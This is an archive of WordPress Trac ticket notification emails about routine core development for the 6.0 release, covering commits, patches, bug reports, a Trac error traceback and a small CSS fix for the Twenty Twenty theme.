Bootstrap/Load | Version: Severity: normal | Resolution: fixed Keywords: has-patch commit assigned-for-commit | Focuses: --------------------------------------------------+----------------------- Changes (by audrasjb): * status: reviewing => closed * resolution: => fixed Comment: In [changeset:"53266" 53266]: {{{ #!CommitTicketReference repository="" revision="53266" Bootstrap/load: Move administration related hooks to `admin-filters.php`. This change moves some administration related hooks from `default- filters.php` to `admin-filters.php`. It also updates the `default- filters.php` docblock to indicate that contextualized hooks should be located in the most appropriate place. Props dlh, hellofromTonya, antonvlasenko, audrasjb, azaozz. Fixes #54795. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54795#comment:12> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 06:36:28 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 06:36:28 -0000 Subject: [wp-trac] [WordPress Trac] #54983: The post has already been deleted. In-Reply-To: <054.b565d5fc304533066dbe4bca29195998@wordpress.org> References: <054.b565d5fc304533066dbe4bca29195998@wordpress.org> Message-ID: <069.a8775fdebbf329d9dbf1272209f929d6@wordpress.org> #54983: The post has already been deleted. -------------------------------------------------+------------------------- Reporter: sumitsingh | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Posts, Post Types | Version: 5.4 Severity: normal | Resolution: Keywords: has-screenshots has-patch has- | Focuses: testing-info needs-testing dev-feedback | administration -------------------------------------------------+------------------------- Changes (by rinkychowdhury9): * keywords: has-screenshots has-patch has-testing-info needs-testing => has-screenshots has-patch has-testing-info needs-testing dev-feedback Comment: @Boniu91 I agree with you. I have tested it also seems like not working for me. @sumitsingh Also noticed that on first click no action is reflecting on the screen or redirecting to post list page. On second click it's displaying the message. {{{ The post has already been deleted. }}} Please follow this screencast to view this actual behavior. [https://watch.screencastify.com/v/Z5caqJLwzULQRn3w2CRD] Tested on: WordPress version (6.0-beta2-53262) -- Ticket URL: <https://core.trac.wordpress.org/ticket/54983#comment:18> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 06:52:44 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 06:52:44 -0000 Subject: [wp-trac] [WordPress Trac] #48896: When enqueued wp-color-picker, toggle response of each widget panel is unresponsive on customizer. In-Reply-To: <051.6f343195bc4aeef07457275510316763@wordpress.org> References: <051.6f343195bc4aeef07457275510316763@wordpress.org> Message-ID: <066.c7a92a08ef2362c10435983e6ea4a901@wordpress.org> #48896: When enqueued wp-color-picker, toggle response of each widget panel is unresponsive on customizer. -------------------------------------------------+------------------------- Reporter: inc2734 | Owner: audrasjb Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Customize | Version: Severity: normal | Resolution: fixed Keywords: has-patch has-testing-info commit | Focuses: assigned-for-commit | -------------------------------------------------+------------------------- Changes (by audrasjb): * status: assigned => closed * resolution: => fixed Comment: In [changeset:"53267" 53267]: {{{ #!CommitTicketReference repository="" revision="53267" Widgets: Fix Classic Widgets screen toggle response on small screens. This changeset updates the toogle logic to fix Widget's responsive behavior on Classic Widgets screen. Props inc2734, kmix39, dlh, desrosj, costdev, Boniu91. Fixes #48896. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/48896#comment:18> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 06:53:38 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 06:53:38 -0000 Subject: [wp-trac] [WordPress Trac] #55403: `wp_crop_image` returning incorrect file path when image formats filtered In-Reply-To: <052.84b9aebdf6341160f1e508c9526bd17f@wordpress.org> References: <052.84b9aebdf6341160f1e508c9526bd17f@wordpress.org> Message-ID: <067.e12d11761861969f48efd1796092f1ad@wordpress.org> #55403: `wp_crop_image` returning incorrect file path when image formats filtered --------------------------------------+------------------------------ Reporter: Mat Lipe | Owner: adamsilverstein Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.0 Component: General | Version: 5.8 Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+------------------------------ Comment (by peterwilsoncc): I've added some minor notes to the linked pull request. @adamsilverstein are you able to take a look at the code and make sure you're happy too? I think beta 3 is a few hours away so if it's commit ready it would be good to get it in. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55403#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 06:53:55 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 06:53:55 -0000 Subject: [wp-trac] [WordPress Trac] #55571: Gallery block fixtures in phpunit tests need updating In-Reply-To: <056.7af5202f92285945ac559a931ec8e2fc@wordpress.org> References: <056.7af5202f92285945ac559a931ec8e2fc@wordpress.org> Message-ID: <071.74461fea561bd653e2a66f5b78495800@wordpress.org> #55571: Gallery block fixtures in phpunit tests need updating --------------------------------------+--------------------------- Reporter: glendaviesnz | Owner: glendaviesnz Type: task (blessed) | Status: reopened Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: trunk Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+--------------------------- Comment (by gziolo): I didn't think about keeping both versions, it makes a lot of sense! I would have to double-check the implementation in the core, but in Gutenberg, we have multiple versions per block, including a few deprecated versions so what @peterwilsoncc suggested would work. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55571#comment:7> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 06:55:29 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 06:55:29 -0000 Subject: [wp-trac] [WordPress Trac] #55571: Gallery block fixtures in phpunit tests need updating In-Reply-To: <056.7af5202f92285945ac559a931ec8e2fc@wordpress.org> References: <056.7af5202f92285945ac559a931ec8e2fc@wordpress.org> Message-ID: <071.88a77fe4d0986454bfcb3a776c7dbb30@wordpress.org> #55571: Gallery block fixtures in phpunit tests need updating --------------------------------------+--------------------------- Reporter: glendaviesnz | Owner: glendaviesnz Type: task (blessed) | Status: reopened Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: trunk Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+--------------------------- Changes (by gziolo): * Attachment "Screenshot 2022-04-26 at 08.54.51.png" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55571> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 06:56:30 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 06:56:30 -0000 Subject: [wp-trac] [WordPress Trac] #55218: WP_Comment_Query: "Column 'comment_ID' in where clause is ambiguous" when mixing 'include_unapproved' and 'meta_query' In-Reply-To: <058.5b36a44e9a4be04ecc66d82fb2d52a10@wordpress.org> References: <058.5b36a44e9a4be04ecc66d82fb2d52a10@wordpress.org> Message-ID: <073.2b9f8b14ffe7260021857b87abae87bb@wordpress.org> #55218: WP_Comment_Query: "Column 'comment_ID' in where clause is ambiguous" when mixing 'include_unapproved' and 'meta_query' --------------------------------------+--------------------- Reporter: genosseeinhorn | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Comments | Version: 5.9 Severity: minor | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+--------------------- Changes (by peterwilsoncc): * keywords: has-patch => has-patch has-unit-tests Comment: There were no failing tests. I've created some that fail without the patch and now pass. They're in the linked pull request too. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55218#comment:6> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 07:05:50 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 07:05:50 -0000 Subject: [wp-trac] [WordPress Trac] #55571: Gallery block fixtures in phpunit tests need updating In-Reply-To: <056.7af5202f92285945ac559a931ec8e2fc@wordpress.org> References: <056.7af5202f92285945ac559a931ec8e2fc@wordpress.org> Message-ID: <071.f92b2e6129c170422ed3208da51e0867@wordpress.org> #55571: Gallery block fixtures in phpunit tests need updating --------------------------------------+--------------------------- Reporter: glendaviesnz | Owner: glendaviesnz Type: task (blessed) | Status: reopened Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: trunk Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+--------------------------- Comment (by peterwilsoncc): Thanks folks, let's go with `__deprecated-1` rather than `-legacy` so the naming convention is consistent between repositories. Tests can go in at any time so this can wait until after RC 1 if you have other higher priority tasks to do. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55571#comment:8> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 07:24:18 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 07:24:18 -0000 Subject: [wp-trac] [WordPress Trac] #55218: WP_Comment_Query: "Column 'comment_ID' in where clause is ambiguous" when mixing 'include_unapproved' and 'meta_query' In-Reply-To: <058.5b36a44e9a4be04ecc66d82fb2d52a10@wordpress.org> References: <058.5b36a44e9a4be04ecc66d82fb2d52a10@wordpress.org> Message-ID: <073.ac0b584e2f61ef8c5b82151f106fe28e@wordpress.org> #55218: WP_Comment_Query: "Column 'comment_ID' in where clause is ambiguous" when mixing 'include_unapproved' and 'meta_query' --------------------------------------+--------------------- Reporter: genosseeinhorn | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Comments | Version: 5.9 Severity: minor | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+--------------------- Comment (by audrasjb): The logic in the PR and unit tests looks good to me. I added a commit to your PR to address a few docblock changes in your initial proposal :) -- Ticket URL: <https://core.trac.wordpress.org/ticket/55218#comment:8> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 07:39:55 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 07:39:55 -0000 Subject: [wp-trac] [WordPress Trac] #50447: wp_publish_post not checking for unique post slugs In-Reply-To: <057.32e609ebc6961df03d6b8f6e2e70d254@wordpress.org> References: <057.32e609ebc6961df03d6b8f6e2e70d254@wordpress.org> Message-ID: <072.1efa7c547d6b660ddb42d5b7d2f25e10@wordpress.org> #50447: wp_publish_post not checking for unique post slugs ----------------------------------------+----------------------------- Reporter: hughie.molloy | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Future Release Component: Posts, Post Types | Version: 5.5 Severity: major | Resolution: Keywords: has-patch needs-unit-tests | Focuses: ----------------------------------------+----------------------------- Changes (by niravsherasiya7707): * Attachment "post.php.patch" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/50447> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 08:02:27 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 08:02:27 -0000 Subject: [wp-trac] [WordPress Trac] #55017: Remove GUTENBERG_PHASE configuration from webpack In-Reply-To: <053.f4631e67e9f5db038a9664868e4025b8@wordpress.org> References: <053.f4631e67e9f5db038a9664868e4025b8@wordpress.org> Message-ID: <068.d7db2727c48380268d5d6a85bf3110f9@wordpress.org> #55017: Remove GUTENBERG_PHASE configuration from webpack ------------------------------+------------------------ Reporter: talldanwp | Owner: talldanwp Type: task (blessed) | Status: closed Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: Severity: normal | Resolution: fixed Keywords: has-patch | Focuses: ------------------------------+------------------------ Changes (by talldanwp): * status: assigned => closed * resolution: => fixed Comment: As mentioned in the previous comments, this should be resolved, so I'm closing the ticket. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55017#comment:9> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 08:07:56 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 08:07:56 -0000 Subject: [wp-trac] [WordPress Trac] #50447: wp_publish_post not checking for unique post slugs In-Reply-To: <057.32e609ebc6961df03d6b8f6e2e70d254@wordpress.org> References: <057.32e609ebc6961df03d6b8f6e2e70d254@wordpress.org> Message-ID: <072.590d97f6815479e96a47bbca96d1deae@wordpress.org> #50447: wp_publish_post not checking for unique post slugs ----------------------------------------+----------------------------- Reporter: hughie.molloy | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Future Release Component: Posts, Post Types | Version: 5.5 Severity: major | Resolution: Keywords: has-patch needs-unit-tests | Focuses: ----------------------------------------+----------------------------- Changes (by niravsherasiya7707): * Attachment "50447.patch" added. phpunit test for the patch file submitted by hughie.molloy -- Ticket URL: <https://core.trac.wordpress.org/ticket/50447> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 08:47:25 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 08:47:25 -0000 Subject: [wp-trac] [WordPress Trac] #49066: Twenty Twenty: Font characters rendered as symbols In-Reply-To: <049.0322325d35ea0eeaa08a23448bc0ab96@wordpress.org> References: <049.0322325d35ea0eeaa08a23448bc0ab96@wordpress.org> Message-ID: <064.0287c11785c05d1d63c9bcc86914d110@wordpress.org> #49066: Twenty Twenty: Font characters rendered as symbols ---------------------------+-------------------------------- Reporter: pikta | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Component: Bundled Theme | Version: 5.3 Severity: critical | Resolution: reported-upstream Keywords: | Focuses: ---------------------------+-------------------------------- Comment (by OlivierBerten): No idea how closely related this is but I just had the exact same issue with Firefox 99.0 (64 bits) on Ubuntu 21.10 (and macOS' Hoefler Text installed). -- Ticket URL: <https://core.trac.wordpress.org/ticket/49066#comment:7> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 08:58:11 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 08:58:11 -0000 Subject: [wp-trac] [WordPress Trac] #19901: Speeding up Dashboard and Comment moderation SQL load In-Reply-To: <055.c7fb7faa472b1f2f74d793cc24af5d1c@wordpress.org> References: <055.c7fb7faa472b1f2f74d793cc24af5d1c@wordpress.org> Message-ID: <070.8d34445462daff41d1d6a2326ce10ec2@wordpress.org> #19901: Speeding up Dashboard and Comment moderation SQL load -------------------------------------------------+------------------------- Reporter: FolioVision | Owner: | spacedmonkey Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Comments | Version: 3.3 Severity: major | Resolution: fixed Keywords: needs-testing has-patch commit | Focuses: assigned-for-commit add-to-field-guide | performance -------------------------------------------------+------------------------- Changes (by bph): * keywords: needs-testing has-patch commit assigned-for-commit => needs- testing has-patch commit assigned-for-commit add-to-field-guide -- Ticket URL: <https://core.trac.wordpress.org/ticket/19901#comment:40> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 09:38:54 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 09:38:54 -0000 Subject: [wp-trac] [WordPress Trac] #55619: OperationalError: database is locked Message-ID: <047.0e74edc23a048f9c0d39425281ca646f@wordpress.org> #55619: OperationalError: database is locked --------------------------+----------------------------- Reporter: bph | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: Severity: normal | Keywords: Focuses: | --------------------------+----------------------------- ==== How to Reproduce ==== While doing a POST operation on `/query`, Trac issued an internal error. ''(please provide additional details here)'' Request parameters: {{{ {u'0_component': u'', u'0_component_mode': u'', u'0_keywords': u'field-guide', u'0_keywords_mode': u'~', u'0_milestone': u'6.0', u'0_milestone_mode': u'', u'__FORM_TOKEN': u'1526901a4ea59d3bef7ef5fe', u'add_clause_1': u'', u'add_filter_0': u'', u'col': ['id', u'summary', u'milestone', u'owner', u'type', u'status', u'priority'], u'group': u'', u'max': u'100', u'order': u'priority', u'sfp_email': u'', u'sfph_mail': u'', u'update': u'Update'} }}} User agent: `Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36` ==== System Information ==== ''System information not available'' ==== Enabled Plugins ==== ''Plugin information not available'' ==== Interface Customization ==== ''Interface customization information not available'' ==== Python Traceback ==== {{{ Traceback (most recent call last): File "build/bdist.linux-x86_64/egg/trac/web/main.py", line 623, in _dispatch_request dispatcher.dispatch(req) File "build/bdist.linux-x86_64/egg/trac/web/main.py", line 239, in dispatch resp = chosen_handler.process_request(req) File "build/bdist.linux-x86_64/egg/trac/ticket/query.py", line 986, in process_request req.redirect(query.get_href(req.href)) File "build/bdist.linux-x86_64/egg/trac/web/api.py", line 659, in redirect self.send_response(status) File "build/bdist.linux-x86_64/egg/trac/web/main.py", line 109, in send_response self.session.save() File "build/bdist.linux-x86_64/egg/trac/web/session.py", line 204, in save session_saved = True File "build/bdist.linux-x86_64/egg/trac/db/api.py", line 155, in __exit__ self.db.commit() OperationalError: database is locked }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55619> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 09:48:35 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 09:48:35 -0000 Subject: [wp-trac] [WordPress Trac] #55567: Editor: Backport bug fixes for WordPress 6.0 from Gutenberg In-Reply-To: <050.b25b16ae3eb0538964b8023d68c7ab42@wordpress.org> References: <050.b25b16ae3eb0538964b8023d68c7ab42@wordpress.org> Message-ID: <065.24bbf13ec46d69b99bff886927f9150f@wordpress.org> #55567: Editor: Backport bug fixes for WordPress 6.0 from Gutenberg --------------------------------------+--------------------- Reporter: gziolo | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: Editor | Version: trunk Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+--------------------- Comment (by gziolo): In [changeset:"53268" 53268]: {{{ #!CommitTicketReference repository="" revision="53268" Editor: Register 'lock' attribute for every block on the server Backports changes from https://github.com/WordPress/gutenberg/pull/40468. The lock attribute needs to be supported by every block, but currently, it is only done on the client site. As a result, it was causing block rendered API requests to fail when blocks are locked. Props mamaduka, peterwilsoncc. See #55567. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55567#comment:43> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 09:53:12 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 09:53:12 -0000 Subject: [wp-trac] [WordPress Trac] #55619: Different order of params, results in a different cache key in query classes. Message-ID: <056.3a9865776e511f7f7a4a6dd725f818cc@wordpress.org> #55619: Different order of params, results in a different cache key in query classes. --------------------------+----------------------------- Reporter: spacedmonkey | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Cache API | Version: trunk Severity: normal | Keywords: needs-patch Focuses: performance | --------------------------+----------------------------- In [52970] [53169] [53097] [53098], the cache key generation was improved. However while testing, it was noted that depending on when order in which params are sent to the query classes, this may result in a different cache to generated. To be safe, the array used generate the cache key, should be sorted. See ##55352, #55460, #55462, #55461. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55619> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 09:54:03 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 09:54:03 -0000 Subject: [wp-trac] [WordPress Trac] #55352: Improve cache key generation in WP_Term_Query In-Reply-To: <056.83ec256dbe1fbdf4ccbdd87da2264554@wordpress.org> References: <056.83ec256dbe1fbdf4ccbdd87da2264554@wordpress.org> Message-ID: <071.b0cf2099ed0388c2035549808838228a@wordpress.org> #55352: Improve cache key generation in WP_Term_Query --------------------------------------+--------------------------- Reporter: spacedmonkey | Owner: spacedmonkey Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Taxonomy | Version: 4.7 Severity: normal | Resolution: fixed Keywords: has-patch has-unit-tests | Focuses: performance --------------------------------------+--------------------------- Comment (by spacedmonkey): Follow up ticket is created #55619. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55352#comment:15> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 09:58:39 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 09:58:39 -0000 Subject: [wp-trac] [WordPress Trac] #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 In-Reply-To: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> References: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> Message-ID: <072.cd6e483e3ae99959fa891b3ebc50da49@wordpress.org> #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 -----------------------------+--------------------- Reporter: peterwilsoncc | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: php80 has-patch | Focuses: -----------------------------+--------------------- Comment (by SergeyBiryukov): In [changeset:"53269" 53269]: {{{ #!CommitTicketReference repository="" revision="53269" Code Modernization: Rename parameters that use reserved keywords in `wp- includes/class-wp-embed.php`. While using reserved PHP keywords as parameter name labels is allowed, in the context of function calls using named parameters in PHP 8.0+, this will easily lead to confusion. To avoid that, it is recommended not to use reserved keywords as function parameter names. This commit renames the `$match` parameter to `$matches` in `WP_Embed::autoembed_callback()`. Follow-up to [52946], [52996], [52997], [52998], [53003], [53014], [53029], [53039], [53116], [53117], [53137], [53174], [53184], [53185], [53192], [53193], [53198], [53203], [53207], [53215], [53216], [53220], [53230], [53232], [53236], [53239], [53240], [53242], [53243], [53245], [53246], [53257]. Props jrf, aristath, poena, justinahinon, SergeyBiryukov. See #55327. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55327#comment:47> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 11:01:18 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 11:01:18 -0000 Subject: [wp-trac] [WordPress Trac] #55619: Different order of params, results in a different cache key in query classes. In-Reply-To: <056.3a9865776e511f7f7a4a6dd725f818cc@wordpress.org> References: <056.3a9865776e511f7f7a4a6dd725f818cc@wordpress.org> Message-ID: <071.6a3db1a3de71c91264bfbeca371270c1@wordpress.org> #55619: Different order of params, results in a different cache key in query classes. --------------------------+-------------------------- Reporter: spacedmonkey | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Component: Cache API | Version: trunk Severity: normal | Resolution: invalid Keywords: needs-patch | Focuses: performance --------------------------+-------------------------- Changes (by spacedmonkey): * keywords: has-patch has-unit-tests => needs-patch * status: new => closed * resolution: => invalid * milestone: Awaiting Review => Comment: Closing as invalid. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55619#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 11:03:31 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 11:03:31 -0000 Subject: [wp-trac] [WordPress Trac] #55352: Improve cache key generation in WP_Term_Query In-Reply-To: <056.83ec256dbe1fbdf4ccbdd87da2264554@wordpress.org> References: <056.83ec256dbe1fbdf4ccbdd87da2264554@wordpress.org> Message-ID: <071.2353eba639934a24c761b64e6899adb4@wordpress.org> #55352: Improve cache key generation in WP_Term_Query --------------------------------------+--------------------------- Reporter: spacedmonkey | Owner: spacedmonkey Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Taxonomy | Version: 4.7 Severity: normal | Resolution: fixed Keywords: has-patch has-unit-tests | Focuses: performance --------------------------------------+--------------------------- Comment (by spacedmonkey): After even more testing, it seems like my first findings are wrong. The duplicate query came from something else. Exclude can be both a string and an array. I will push a PR up now. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55352#comment:16> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 11:12:11 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 11:12:11 -0000 Subject: [wp-trac] [WordPress Trac] #55581: Twenty Twenty: Aligned images cannot be resized or are properly displayed In-Reply-To: <056.ebc3b4dce413ea21a93e87f931f23846@wordpress.org> References: <056.ebc3b4dce413ea21a93e87f931f23846@wordpress.org> Message-ID: <071.85aea24743a5fac79849379d5fb0fd80@wordpress.org> #55581: Twenty Twenty: Aligned images cannot be resized or are properly displayed ---------------------------+------------------------------ Reporter: robertghetau | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Bundled Theme | Version: 5.9.3 Severity: normal | Resolution: Keywords: | Focuses: ---------------------------+------------------------------ Comment (by hilayt24): Hi @robertghetau, I can reproduce this issue. And by looking deeper I found that the position absolute is the p[roblem. By removing that the images will be visible the same in front and back. But somehow I can't able to reproduce the first issue. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55581#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 11:13:17 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 11:13:17 -0000 Subject: [wp-trac] [WordPress Trac] #55581: Twenty Twenty: Aligned images cannot be resized or are properly displayed In-Reply-To: <056.ebc3b4dce413ea21a93e87f931f23846@wordpress.org> References: <056.ebc3b4dce413ea21a93e87f931f23846@wordpress.org> Message-ID: <071.b3cb3200e6dbb0b7e1025e238b80cbc3@wordpress.org> #55581: Twenty Twenty: Aligned images cannot be resized or are properly displayed ---------------------------+------------------------------ Reporter: robertghetau | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Bundled Theme | Version: 5.9.3 Severity: normal | Resolution: Keywords: | Focuses: ---------------------------+------------------------------ Comment (by hilayt24): Remove the position absolute from the below class. {{{ @media (min-width: 1000px) .entry-content > .alignleft, .entry-content > p .alignleft, .entry-content > .wp-block-image .alignleft { position: absolute; } }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55581#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 11:24:15 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 11:24:15 -0000 Subject: [wp-trac] [WordPress Trac] #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 In-Reply-To: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> References: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> Message-ID: <072.04e6e528b6fc02462bb48e15b468f214@wordpress.org> #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 -----------------------------+--------------------- Reporter: peterwilsoncc | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: php80 has-patch | Focuses: -----------------------------+--------------------- Comment (by SergeyBiryukov): In [changeset:"53270" 53270]: {{{ #!CommitTicketReference repository="" revision="53270" Code Modernization: Rename parameters that use reserved keywords in `wp- includes/class-wp-image-editor-gd.php`. While using reserved PHP keywords as parameter name labels is allowed, in the context of function calls using named parameters in PHP 8.0+, this will easily lead to confusion. To avoid that, it is recommended not to use reserved keywords as function parameter names. This commit renames the `$function` parameter to `$callback` in `WP_Image_Editor_GD::make_image()`. Follow-up to [52946], [52996], [52997], [52998], [53003], [53014], [53029], [53039], [53116], [53117], [53137], [53174], [53184], [53185], [53192], [53193], [53198], [53203], [53207], [53215], [53216], [53220], [53230], [53232], [53236], [53239], [53240], [53242], [53243], [53245], [53246], [53257], [53269]. Props jrf, aristath, poena, justinahinon, SergeyBiryukov. See #55327. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55327#comment:48> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 11:30:04 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 11:30:04 -0000 Subject: [wp-trac] [WordPress Trac] #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 In-Reply-To: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> References: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> Message-ID: <072.818eff6e3cac9033ba596af6a64d1896@wordpress.org> #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 -----------------------------+--------------------- Reporter: peterwilsoncc | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: php80 has-patch | Focuses: -----------------------------+--------------------- Comment (by SergeyBiryukov): In [changeset:"53271" 53271]: {{{ #!CommitTicketReference repository="" revision="53271" Code Modernization: Rename parameters that use reserved keywords in `wp- includes/class-wp-image-editor.php`. While using reserved PHP keywords as parameter name labels is allowed, in the context of function calls using named parameters in PHP 8.0+, this will easily lead to confusion. To avoid that, it is recommended not to use reserved keywords as function parameter names. This commit renames the `$function` parameter to `$callback` in `WP_Image_Editor::make_image()`. Follow-up to [52946], [52996], [52997], [52998], [53003], [53014], [53029], [53039], [53116], [53117], [53137], [53174], [53184], [53185], [53192], [53193], [53198], [53203], [53207], [53215], [53216], [53220], [53230], [53232], [53236], [53239], [53240], [53242], [53243], [53245], [53246], [53257], [53269], [53270]. Props jrf, aristath, poena, justinahinon, SergeyBiryukov. See #55327. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55327#comment:49> WordPress Trac <https://core.trac.wordpress.org/> 